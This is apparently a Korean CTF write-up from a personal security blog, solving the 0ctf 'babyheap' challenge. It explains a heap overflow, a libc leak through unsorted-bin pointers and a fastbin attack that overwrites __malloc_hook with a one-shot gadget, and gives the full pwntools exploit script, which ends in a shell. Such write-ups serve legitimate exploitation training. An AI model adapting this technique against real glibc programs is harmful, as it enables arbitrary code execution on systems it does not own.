cdor1's lab
0ctf babyheap 본문
fastbin상에서 malloc_hook을 덮어 exploit하는 문제이다.
allocate, free, dump, fill 이렇게 4가지 메뉴가 존재하는데
fill 메뉴에서는 alloc된 chunk의 사이즈를 신경쓰지 않고 사용자의 input 만큼 할당해주게 된다.
이로써 heap overflow가 발생한다.
-leak-
chunk들의 size부분, fd를 덮어 libc와 heap 주소를 leak해낼 수 있다.
heap주소는 내 exploit에서는 사용하지 않았지만 leak하는 방법을 써보려 한다.
첫번째 chunk의 size를 더 크게 수정하고 재할당 받아 dump 메뉴로 출력하는 범위를 늘려준다.
뒤에 있는 청크들을 free해주면 fd가 생기게 되는데 1번째 chunk size가 뒤에 있는 chunk의 내용까지 출력할 만큼 커졌기에 leak이 가능하다.
libc주소는 한 청크의 fd값을 덮어 내가 마지막에 할당해준 small bin을 가르키게 해 준다.
그리고 이 small bin의 크기를 0x21로 overwrite 해 준다.
그 다음 크기가 0x20인 chunk를 2번 할당해 주게 된다면 2번째로 할당한 chunk는 small bin을 가르키게 된다.
그리고 small bin의 size를 예전과 똑같이 overwrite 해서 복귀시켜놓고 이를 free 하게 되면
smallbin이라 unsorted chunk가 되어서 fd와 bk에 main_arena+88주소가 적히게 되는데
우리가 0x20을 두번 할당해 줄 때 2번째로 할당한 chunk는 small bin을 아직 가르키고 있으므로 dump를 이용해서 libc를 leak해낼 수 있다.
-attack-
leak할 때와 비슷한 방법으로 fd를 이용해 malloc_hook을 덮을 것이다.
fastbin attack을 할 때 주의할 점이 있는데 이는 덮으려는 주소의 size가 fastbin size 안에 있어야 한다는 점이다.
운좋게도 malloc_hook에는 다양한 주솟값들이 있어서 0x7f~~로 시작하는 주소들이 많았다.
위치를 잘 조정해서 size가 0x7f로 들어가도록 해 malloc_hook에 chunk를 할당하고 oneshot 가젯으로 덮어주면 된다.
히히
from pwn import *
s = process('./0ctfbabyheap')
def alloc(size):
print s.recvuntil('Command: ')
s.sendline('1')
print s.recvuntil('Size: ')
s.sendline(str(size))
def fill(idx, size, content):
print s.recvuntil('Command: ')
s.sendline('2')
print s.recvuntil('Index: ')
s.sendline(str(idx))
print s.recvuntil('Size: ')
s.sendline(str(size))
print s.recvuntil('Content: ')
s.sendline(content)
def free_chunk(idx):
print s.recvuntil('Command: ')
s.sendline('3')
print s.recvuntil('Index: ')
s.sendline(str(idx))
def dump(idx):
print s.recvuntil('Command: ')
s.sendline('4')
print s.recvuntil('Index: ')
s.sendline(str(idx))
alloc(0x20)
alloc(0x20)
alloc(0x20)
alloc(0x20)
alloc(0x80)
free_chunk(1)
free_chunk(2)
pay1 = p64(0)*5
pay1 += p64(0x31)
pay1 += p64(0)*5
pay1 += p64(0x31)
pay1 += p8(0xc0)
fill(0, len(pay1), pay1)
pay2 = p64(0)*5
pay2 += p64(0x31)
fill(3, len(pay2), pay2)
alloc(0x20)
alloc(0x20)
pay3 = p64(0)*5
pay3 += p64(0x91)
fill(3, len(pay3), pay3)
alloc(0x80)
free_chunk(4)
dump(2)
print s.recvuntil('Content: \n')
leak = u64(s.recv(6).ljust(8, '\x00'))
base = leak - 0x3be7b8
malloc_hook = base + 0x3BE740
oneshot = base + 0x4647C
log.info('leak : ' + hex(leak))
log.info('base : ' + hex(base))
log.info('malloc_hook : ' + hex(malloc_hook))
log.info('oneshot : ' + hex(oneshot))
alloc(0x68)
free_chunk(4)
fill(2, 8, p64(malloc_hook - 35))
alloc(0x60)
alloc(0x60)
pay4 = '\x00' * 3
pay4 += p64(oneshot) * 4
fill(6, len(pay4), pay4)
alloc(0x20)
s.interactive()
'Security > Pwnable' 카테고리의 다른 글
Codegate 2017 petshop (0) | 2017.04.20 |
---|---|
MIPS GADGET (0) | 2017.04.19 |
QEMU MIPS (0) | 2017.04.10 |
MIPS ROP (0) | 2017.04.07 |
Router attack code (0) | 2017.04.06 |